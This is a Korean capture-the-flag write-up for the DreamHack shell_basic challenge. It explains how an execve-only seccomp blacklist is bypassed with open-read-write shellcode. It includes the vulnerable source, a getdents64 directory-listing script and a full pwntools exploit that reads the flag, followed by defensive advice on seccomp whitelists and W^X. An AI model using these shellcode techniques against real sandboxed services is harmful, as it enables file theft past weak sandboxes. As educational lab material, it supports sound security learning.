[🥉 Bronze 4] execve 만 막힌 seccomp 안에서 ORW 셸코드로 flag 읽기 — DreamHack shell_basic 풀이

문제: DreamHack — shell_basic 분류: Pwnable (System Hacking) 난이도: 🥉 Bronze 4 FLAG: DH{ca562d7cf1db6c55cb11c4ec350a3c0b}

문제 개요

바이너리는 친절하게도 우리가 보낸 바이트를 RWX 메모리에 올려 그대로 실행해 준다. 임의 코드 실행이 처음부터 주어진 셈이다.

문제는 execve/execveat 두 시스템콜이 seccomp 로 막혀 있다는 것. 그래서 /bin/sh 셸을 띄우는 익숙한 길은 닫혀 있고, 대신 open → read → write 세 콜만으로 flag 파일을 열어 읽고 그 내용을 소켓(표준출력)으로 토해내야 한다. 이게 "ORW 셸코드"라 부르는 시스템 해킹 입문의 정석 패턴이다.

🧩 배경 — seccomp 와 ORW

seccomp(secure computing) 는 프로세스가 호출할 수 있는 시스템콜을 커널 수준에서 제한하는 필터다. libseccomp 로 규칙을 짤 때 기본 동작(default action)을 정하고, 거기에 예외 규칙을 얹는다.

• SCMP_ACT_ALLOW 를 기본값으로 두면 → 화이트리스트가 아니라 블랙리스트가 된다. 명시적으로 막은 콜만 차단되고 나머지는 전부 통과.
• SCMP_ACT_KILL 규칙을 특정 콜에 걸면 → 그 콜이 호출되는 순간 SIGSYS 로 프로세스가 즉사한다.

이 문제는 기본값이 ALLOW 이고 execve/execveat 만 KILL 이다. 즉 셸 실행만 빼고 거의 모든 것을 할 수 있다. 파일을 여는 open, 내용을 읽는 read, 출력으로 내보내는 write 는 전부 살아 있다. 셸을 못 따도 flag 파일은 읽을 수 있다는 뜻이다.

ORW 는 이 상황의 표준 답이다. 셸코드 안에서 직접:

fd  = open("/flag/경로", O_RDONLY)   // 파일을 연다
       read(fd, buf, n)              // 내용을 버퍼로 읽는다
       write(1, buf, n)              // 표준출력(=소켓)으로 내보낸다

세 줄이면 끝난다. 셸이 필요 없다.

🔬 코드 정찰

제공된 소스는 짧다. 핵심만 보면:

void banned_execve() {
  scmp_filter_ctx ctx;
  ctx = seccomp_init(SCMP_ACT_ALLOW);          // 기본 = 전부 허용
  if (ctx == NULL) exit(0);
  seccomp_rule_add(ctx, SCMP_ACT_KILL, SCMP_SYS(execve), 0);   // execve 만 KILL
  seccomp_rule_add(ctx, SCMP_ACT_KILL, SCMP_SYS(execveat), 0); // execveat 만 KILL
  seccomp_load(ctx);
}
 
void main(int argc, char *argv[]) {
  char *shellcode = mmap(NULL, 0x1000,
                         PROT_READ | PROT_WRITE | PROT_EXEC,   // RWX 영역
                         MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
  void (*sc)();
  init();
  banned_execve();                 // seccomp 장착
  printf("shellcode: ");
  read(0, shellcode, 0x1000);      // 우리가 보낸 바이트를 그대로 받아
  sc = (void *)shellcode;
  sc();                            // 함수 포인터로 점프 → 실행
}

흐름이 그대로 보인다. mmap 으로 읽기·쓰기·실행이 전부 가능한 0x1000 바이트 영역을 잡고, read(0, shellcode, 0x1000) 으로 stdin 에서 최대 4KB 를 받은 뒤 그 주소로 점프한다. 입력 바이트 = 실행될 기계어. BOF 도 ROP 도 필요 없는, 임의 코드 실행이 선물처럼 주어진 구조다.

보호 기법을 확인해 보면 NX 가 켜져 있지만 정작 셸코드가 올라가는 곳은 mmap 의 RWX 영역이라 무의미하고, 카나리도 덮을 스택이 없으니 의미가 없다. 우리에게 필요한 제약은 오직 seccomp 하나다.

file shell_basic && checksec --file=shell_basic

그럼 seccomp 필터가 실제로 무엇을 막는지 직접 떠 본다. seccomp-tools 로 바이너리를 실행하면서 seccomp 규칙을 그대로 덤프할 수 있다.

seccomp-tools dump ./shell_basic

BPF 가 친절하게 풀려 나온다. if (A == execve) goto 0008, if (A == execveat) goto 0008, 그리고 0008 은 return KILL. 두 콜만 골라 죽이고 0007 의 return ALLOW 로 나머지는 전부 통과시킨다. 소스에서 본 그대로다. open·read·write 는 손도 안 댄다.

🐛 삽질 — flag 경로를 표준 위치로 찍었다

이 문제의 flag 가 /home/shell_basic/flag 에 있을 거라고 멋대로 단정하고 ORW 셸코드를 먼저 짰다. shellcraft.open 은 경로 문자열을 스택에 push 하고 open 을 호출하므로, 이어지는 read(fd, rsp, n) 은 그 문자열 자리(rsp)를 flag 내용으로 덮어쓴다 — 정상이면.

▶🐛 삽질 — open 이 -1 을 돌려주면 read 가 버퍼를 못 덮어쓴다

돌려 보니 flag 가 아니라 내가 보낸 경로 문자열이 그대로 되돌아왔다.

Copy

sc  = shellcraft.open("/home/shell_basic/flag")   # 실제로는 없는 파일
sc += shellcraft.read("rax", "rsp", 0x40)
sc += shellcraft.write(1, "rsp", 0x40)

출력 맨 앞에 /home/shell_basic/flag\x00\x00... 가 보인다. open 이 파일을 못 찾아 -ENOENT(음수 fd)를 반환했고, 그 음수를 fd 로 받은 read 도 실패해 스택의 경로 문자열을 그대로 둔 채 write 가 그 영역을 뱉은 것이다.

셸코드가 출력으로 자기 입력(경로)을 돌려주면 open 이 실패한 신호다. 경로를 추측하지 말고 직접 찾아야 했다.

💣 핵심 — getdents64 로 진짜 flag 이름 찾기

seccomp 가 execve 만 막았다는 건, 디렉토리를 나열하는 시스템콜도 살아 있다는 뜻이다. open(dir, O_DIRECTORY) 로 디렉토리를 열고 getdents64 로 엔트리를 긁어 write 로 내보내면, 셸 없이도 ls 를 흉내 낼 수 있다.

# find_flag.py — getdents64 셸코드로 /home/shell_basic 를 나열
import struct
from pwn import *
context.arch = "amd64"
context.log_level = "warn"
 
# open("/home/shell_basic", O_RDONLY|O_DIRECTORY=0x10000)
sc  = shellcraft.open("/home/shell_basic", 0x10000, 0)
sc += shellcraft.getdents64("rax", "rsp", 0x800)   # rax = fd
sc += shellcraft.write(1, "rsp", "rax")            # 읽은 바이트 수만큼 출력
 
p = remote("host3.dreamhack.games", 14199)
p.recvuntil(b"shellcode: ")
p.send(asm(sc))
raw = p.recvall(timeout=4)
p.close()
 
print("[*] /home/shell_basic :")
i = 0
while i + 19 < len(raw):                            # linux_dirent64 레코드 파싱
    reclen = struct.unpack("<H", raw[i+16:i+18])[0] # d_reclen
    if reclen == 0:
        break
    name = raw[i+19:i+reclen].split(b"\x00")[0].decode("latin1")  # d_name
    mark = "   <-- flag?" if "flag" in name else ""
    print(f"    {name}{mark}")
    i += reclen

getdents64 는 linux_dirent64 레코드를 연달아 채워 준다. 각 레코드는 d_ino(8) · d_off(8) · d_reclen(2) · d_type(1) · d_name(가변) 구조라, d_reclen 만큼씩 건너뛰며 d_name 을 뽑으면 파일 목록이 나온다.

flag 는 표준 flag 가 아니라 일부러 길게 지은 flag_name_is_loooooong 이었다. 경로를 추측하던 사람을 한 번 걸고 넘어지게 만든 장치다. 진짜 경로는 /home/shell_basic/flag_name_is_loooooong.

🎯 익스플로잇 — ORW 셸코드 조립

경로를 알았으니 처음 의도대로 ORW 를 완성한다. pwntools 의 shellcraft 가 어셈블리를 만들어 주므로 세 줄이면 된다.

sc  = shellcraft.open("/home/shell_basic/flag_name_is_loooooong")
sc += shellcraft.read("rax", "rsp", 0x100)   # open 이 돌려준 fd 가 rax 에 있다
sc += shellcraft.write(1, "rsp", 0x100)      # 읽은 내용을 표준출력으로

동작 원리를 한 번 짚으면:

• shellcraft.open(path) 는 경로 문자열을 스택에 push 하고 rdi = rsp(문자열 주소), rax = SYS_open 으로 syscall 을 호출한다. 성공하면 rax 에 파일 디스크립터가 담긴다.
• 이어지는 read("rax", "rsp", 0x100) 은 그 fd 에서 0x100 바이트를 rsp(방금 그 문자열 자리)로 읽어 들인다. flag 내용이 스택을 덮는다.
• write(1, "rsp", 0x100) 이 그 버퍼를 fd 1 로 내보낸다. 원격에선 fd 1 이 곧 소켓이라 flag 가 우리 화면으로 돌아온다.

flag 파일은 한 줄(개행으로 끝)이라, 받은 데이터의 첫 줄만 잘라 출력하면 깔끔하다.

🚀 Full Exploit

#!/usr/bin/env python3
# shell_basic — ORW shellcode
from pwn import *
 
context.arch = "amd64"
context.os = "linux"
 
HOST, PORT = "host3.dreamhack.games", 14199
FLAG_PATH = "/home/shell_basic/flag_name_is_loooooong"   # getdents64 로 확인한 실제 경로
 
# open(path) -> read(fd, rsp, 0x100) -> write(1, rsp, 0x100)
sc  = shellcraft.open(FLAG_PATH)
sc += shellcraft.read("rax", "rsp", 0x100)
sc += shellcraft.write(1, "rsp", 0x100)
payload = asm(sc)
 
p = remote(HOST, PORT)
p.recvuntil(b"shellcode: ")
p.send(payload)
data = p.recvall(timeout=5)
p.close()
 
import re
m = re.search(rb"DH\{[0-9a-fA-F]+\}", data)
print("[+] FLAG:", m.group().decode() if m else data.split(b"\n")[0].decode("latin1"))

[+] FLAG: DH{ca562d7cf1db6c55cb11c4ec350a3c0b}

open 이 fd 를 정상으로 돌려주니 이번엔 read 가 스택을 flag 내용으로 덮었고, write 가 그대로 토해냈다. seccomp 가 막은 건 execve 뿐이라 ORW 체인은 처음부터 끝까지 살아서 돈다.

📝 결론

셸코드 실행이 곧 셸은 아니다.

이 문제의 교훈은 "임의 코드 실행을 얻어도 seccomp 같은 사후 제약이 있으면 공격 경로를 그에 맞게 바꿔야 한다"는 점이다. execve 가 막혔다고 끝이 아니라, 파일을 읽는 콜만 살아 있어도 flag 회수라는 목적은 달성된다. 시스템 해킹에서 ORW 가 단골로 등장하는 이유다.

블랙리스트 seccomp 는 거의 항상 우회당한다.

방어자 관점에서 이 필터의 근본 문제는 SCMP_ACT_ALLOW 를 기본값으로 둔 블랙리스트 구조다. execve/execveat 만 막아도 open·read·write·openat·getdents64·sendfile 등 데이터를 빼낼 수 있는 콜이 수두룩하게 열려 있다. 실제 샌드박스는 반대로 화이트리스트(SCMP_ACT_KILL 기본 + 꼭 필요한 콜만 ALLOW)로 짜야 의미가 있다.

RWX 메모리는 그 자체로 게이트를 연다.

PROT_EXEC 가 붙은 쓰기 가능 영역에 외부 입력을 그대로 넣고 점프하면 NX 도 카나리도 우회할 필요 없이 코드 실행이 성립한다. 입력을 실행 영역에 두지 않는 것, 부득이하면 W^X 를 지키는 것이 기본이다.

마지막으로, flag 경로를 표준 위치로 단정하지 말 것. getdents64 한 줄이면 디렉토리를 직접 확인할 수 있으니, 추측 대신 셸코드로 한 번 들여다보는 편이 빠르다.